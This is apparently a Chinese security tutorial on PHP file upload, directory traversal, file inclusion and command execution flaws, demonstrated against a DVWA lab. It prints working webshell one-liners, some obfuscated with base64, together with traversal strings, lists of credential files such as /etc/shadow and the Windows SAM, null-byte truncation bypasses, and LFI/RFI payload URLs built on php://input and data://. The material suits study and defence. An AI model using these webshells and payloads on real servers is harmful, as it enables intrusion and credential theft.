文件包含上传漏洞&目录遍历命令执行漏洞

时间:2022-07-06 17:15:22

文件上传漏洞:

一句话木马

一句话木马主要由两部分组成:执行函数与 接收被执行代码的变量

执行函数:

  • eval()
  • assert()
  • create_function()
  • array_map()
  • array_filter()
  • call_user_func()
  • call_user_func_array()

eval()

将字符串当作PHP代码执行,注意一定要带分号;

<?php @eval($_POST['shell']);?>
将含有这个代码的PHP文件上传到服务器,命名为webshell.php后,只需要构造URL为其传递参数即可将其利用,也可以用例如菜刀、蚁剑这类工具

利用:

webshell.php?shell=phpinfo()

assert()

此函数正常情况下只在调试期间使用,又称断言函数,此函数作用与eval()类似,都可将括号中的字符串当作PHP代码执行

<?php @assert($_POST['shell']);?>
利用方式与eval()类似

creat_function()

该函数用于创建匿名函数

格式:

creat_function(参数,函数方法)

一句话木马的构造:

<?php
$func = create_function('',$_POST['shell']);
$func();
?>
解释:因为不需要本地传入参数,所以第一项为空即可,当我们通过POST传入字符串时,会当作PHP代码执行

利用:

shell=phpinfo()

array_map()

有趣的函数

该函数会将数组中的每一个值通过回调函数依次执行得到结果,并返回一个新的数组

格式:

array_map(函数,数组)

一句话木马的构造:

<?php
$func = $_REQUEST['func'];
$way = $_REQUEST['way'];
$array[0] = $way;
$new_array =array_map($func,$way);
?>
解释:将$way中的字符串作为$func中PHP代码的参数

利用:

?func=system()&way=whoami

call_user_func() | call_user_func_array()

call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

call_user_func(回调函数,回调函数的参数)
call_user_func_array(回调函数,将数组作为回调函数的参)

一句话木马的构造:

<?php
call_user_func(assert,$_GET['cmd']);
?> <?php
$array[0] = $_POST['shell'];
call_user_func_array(eval,$array);
?>

array_filter()

依次将array数组中的每个值传到函数中去

array_filter(array,callback)

一句话木马的构造:

<?php
$cmd = $_POST['cmd'];
$array[0] = $cmd;
array_filter($array,assert)
?> <?php
$func = $_POST['func'];
$way = $_REQUEST['way'];
$array[0] = $way;
array_filter($array,$func);
?.

文件操作函数

  • file_put_contents()
  • fputs()
  • fopen()

file_put_contents():把一个字符串写入文件中

fputs():把一个字符串写入文件中

二者区别:**file_puts_centents()可以直接写入**

                   **fputs()写入前,需要先fopen开文件**
<?php
$test = "<?php @eval($_GET[''shell']);?>";
file_put_contents('test1.php',$text);
?> <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['shell']);?>')

动态函数:

PHP函数直接由字符串拼接

<?php
$_GET['a']($_GET['b'])
?>

利用: ?a=eval&b=phpinfo()

隐藏函数:

  • base64_decode()
  • pares_str()
  • str_replace()

base64_decode()

对要执行的被base64加密过的PHP代码进行解密

<?php
$a=base64_decode("YXNzZXJ0");
@a($_POST['shell']);
?>

pares_str()

parse_str() 函数把查询字符串解析到变量中。

<?php
$str="a=eval";
parse_str($str);
$a($_POST['shell']);
?>

目录遍历漏洞

x01 Unix目录遍历攻击

通用的类Unix系统的目录遍历攻击字符串形如“../”。

0x02 Windows操作系统目录遍历攻击

对于微软的Windows操作系统以及DOS系统的目录结构,攻击者可以使用“../”或者“..\”字符串。

0x03 URI编码形式的目录遍历攻击

一些网络应用会通过查询危险的字符串,例如:- ..- ..\- ../

来防止目录遍历攻击。然而,服务器检查的字符串往往会被URI编码。因此这类系统将无法避免如下形式的目录遍历攻击:

  • %2e%2e%2f:解码为../

  • %2e%2e/:解码为../

  • ..%2f:解码为../

  • %2e%2e%5c:解码为..\

先包含再遍历

攻击形式:

../../../../../../../../../etc/paawd

文件包含漏洞

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。

文件包含漏洞执行包含文件的代码时,后缀名不会影响:即使后缀名时.txt也会正常执行其中的PHP代码

php文件包含函数:

  • include():找不到包含的文件时,警告,继续执行

  • include_once()

  • require():找不到包含的文件时,致命错误,停止执行

  • require_once()

    含once的表示只能包含一次

php包含函数

  • file_get_content():把整个文件读入一个字符串中。

示例代码:

<?php
$filename = $_GET['filename'];
include($filename);
?>

此包含脚本,一般是web中源代码有的

本地文/包含漏洞

本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行。

简而言之 : 就是攻击者上传了一个带有include的PHP文件,导致攻击者可以便利目标服务器上的文件(配合文件遍历漏洞)

例如:再DVWA的low级别中,若在其www/dvwa/dvwa目录下,放入一个info.php文件(phpinfo()),此时在操作机中,可通过 目录遍历漏洞配合文件包含漏洞访问并执行该文件:

  1. 首先随意构造URL,通过报错信息,确认当前的目录为 www\dvwa\vulnerabilities\fi\index.php
  2. 而我们所放入的info.php文件位于与vulnerabilities处于同一层级的dvwa目录下
  3. 此时便可以通过文件遍历漏洞:通过 ../来对目录进行回溯
  4. ?page=../../dvwa/info.php 便可以通过包含漏洞,包含并执行该文件中的代码

Windows系统

c:\boot.ini // 查看系统版本c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件c:\windows\repair\sam // 存储Windows系统初次安装的密码c:\ProgramFiles\mysql\my.ini // MySQL配置c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息/etc/shadow // 账户密码文件/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置/usr/local/app/php5/lib/php.ini // PHP相关配置/etc/httpd/conf/httpd.conf // Apache配置文件/etc/my.conf // mysql 配置文件

一但发生了本地包含漏洞,就可能包含到甚至是遍历

为了防止包含漏洞的发生,在include环节会有一些过滤措施

防包含方式,给要包含的文件加上.html后缀
<?php
$page = $_GET['page'];
include($page."html");
?>

应对方法:(同样适用于文件上传漏洞)

%00截断:

此方法要求较为苛刻

  1. magic_quotes_gpc = Off(若magic_quotes_gpc处于on的状态,会在语句中加\号)
  2. php版本<5.3.4(否则%00截断失效)

原理:URL中的%20表示ASCII编码中的0,而ASCII中的0作为保留字段,表示着字符串的结束

EXP

page=info.php%00

0x00截断:

此方法作用与%00相同,且要求也相同,不同在于操作手法

0x00是16进制的0,若想在文件的拓展名中加入16进制的0,直接改拓展名是没有效果的

方法:

  1. 在文件末尾加一些标志:info.php a (空格的16进制编码为0x20 a是为了标记空格の位置)
  2. 利用burp抓包(数据包传输时先变为16进制的形式)
  3. 在burp抓到的数据包中,通过HEX选项,将其改为16进制,找到拓展名的位置,将空格的0x20改为0x00
  4. forward 完成截断

路径长度截断:

Windows下目录最大长度为256字节,超出的部分会被丢弃

Linux下目录最大长度为4096字节,超出部分会被丢弃

EXP

?page=info.php............................................................................................................................................................................................

Content-Type

有时候后端会对上传文件的Content-Type进行限制

此时可以通过burp抓包,在报文中将Content-Type改为适合的类型

图片头

getimagesize(string filename) 此类函数会检查上传文件的文件头,判断其文件类型

此时可以在文件中加入 :

这个图片头,来绕过检测

远程文件包含漏洞:

要求:

php.ini中: allow_url_fopen = Onallow_url_include = On

可以通过在URL中附加参数,让web服务器到参数中的IP地址中获取并执行一个文件

EXP

?page=http://172.16.12.128/phpinfo.php

PHP伪协议

  1. file:// — 访问本地文件系统
  2. http:// — 访问 HTTP(s) 网址
  3. ftp:// — 访问 FTP(s) URLs
  4. php:// — 访问各个输入/输出流(I/O streams)
  5. zlib:// — 压缩流
  6. data:// — 数据(RFC 2397)
  7. glob:// — 查找匹配的文件路径模式
  8. phar:// — PHP 归档
  9. ssh2:// — Secure Shell 2
  10. rar:// — RAR
  11. ogg:// — 音频流
  12. except:/// — 处理交互式的流

FILE://

allow_url_fopen allow_url_include

均不用开启即可使用

格式:

file://文件的绝对路径

EXP

<http://dvwa.pte.com/vulnerabilities/fi/?page=file://D:/www/dvwa/dvwa/info.php>

PHP://

allow_url_include

php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

allow_url_fopen

均不要开启

PHP://filter ——— 用于读取源码

参数

resource=<要过滤的数据流>     这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 从web服务器中读取文件
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。 向web服务器中写入文件
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链

Eg:

?page=php://filter/read=convert.base64-encode / resource=info.php

<http://dvwa.pte.com/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=D:/www/dvwa/dvwa/info.php>

PHP://input

是个可以访问请求的原始数据的只读流,可以读取到post没有解析的原始数据, 将post请求中的数据作为PHP代码执行

allow_url_fopen :off/on allow_url_include:on

简而言之:该伪协议会把POST提交的数据当作代码执行

EXP:

<http://dvwa.pte.com/vulnerabilities/fi/?page=php://input>

注意:

写入一句话木马时,要配合fputs函数与fopen函数函数创建php文件才可以,直接写入无法执行

<?php fputs(fopen('webshell.php','w'),'<?php eval($_GET['shell']);?>')?>

若要在web服务器上写入文件:使用fputs与fopen

命令执行:直接输入PHP代码即可

作用与PHP://input类似,但在语法上有所区别:

allow_url_fopen = on

allow_url_include = on

用法1:

?page=data:text/plain,<?php PHP代码 ?>

EXP

<http://dvwa.pte.com/vulnerabilities/fi/?page=data:text/plain,%3C?php%20phpinfo();%20?%3E>

用法2:

?page=data:text/plain;base64,编码后的PHP代码

EXP

<http://dvwa.pte.com/vulnerabilities/fi/?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==>

ZIP://

allow_url_fopen() = on/off

allow_url_include() = on/off

可以直接访问压缩文件中的子文件(无需指定后缀名:即使后缀名是jpg也可以当作压缩文件执行)

格式

zip://archive.zip#dir/file.txt

archive.zip压缩文件的绝对路径

dir 压缩文件中要执行的子文件名

Eg:

?page=zip://D:\\www\\dvwa\\dvwa\\test.jpg%23info.php

注意:# 一定要用 URL编码格式下的%23代替,否则会出现错误

EXP

<http://dvwa.pte.com/vulnerabilities/fi/?page=zip://D:\\www\\dvwa\\dvwa\\php.zip%23info.php>

compress.zlib://file.gz - 处理的是 '.gz' 后缀的压缩包 compress.bzip2://file.bz2 - 处理的是 '.bz2' 后缀的压缩包

PHAR://

作用与zlib类似

EG:

<http://dvwa.pte.com/vulnerabilities/fi/?page=zip://D:\\www\\dvwa\\dvwa\\php.zip\\info.php>

命令执行漏洞

命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

系统相关执行命令:

  • system()
  • passthru()
  • exec()
  • pcntl_exec()
  • shell_exec()
  • popen()
  • proc_open()
  • `反单引号

passthru()这4个命令执行函数,直接接收命令的参数即可 system("whoami")

pcntl_exec("/user/bash",array("whoami"));

参数1:制定了要执行程序的PATH,第二个参数以数组的形式,给第一个可执行程序传递

打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生

STDIN、STDOUT、STDERR命令输入输出流,用于向控制台(linux shell终端、windows cmd终端)输入、输出内容,它们默认是已经打开的

STDIN: 只读 ←——'r'

STDOUT: 只写(正确信息) ←——w

STDERR:只写(错误信息)

<?php
$handle = popen("/bin/ls", "r");
?>

PHP会将反单引号间的代码当作命令执行

<?php
echo `whoami`;
?>

通过& && ; 将要执行的命令进行拼接

  • & 无论如何拼接的命令都执行

  • && 只有在前一个命令执行成功的前提下,才会执行拼接的命令

  • ; 一条一条执行

  • | “|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2 执行的结果

  • ||

 

本文作者:Deutsh, 转载请注明来自FreeBuf.COM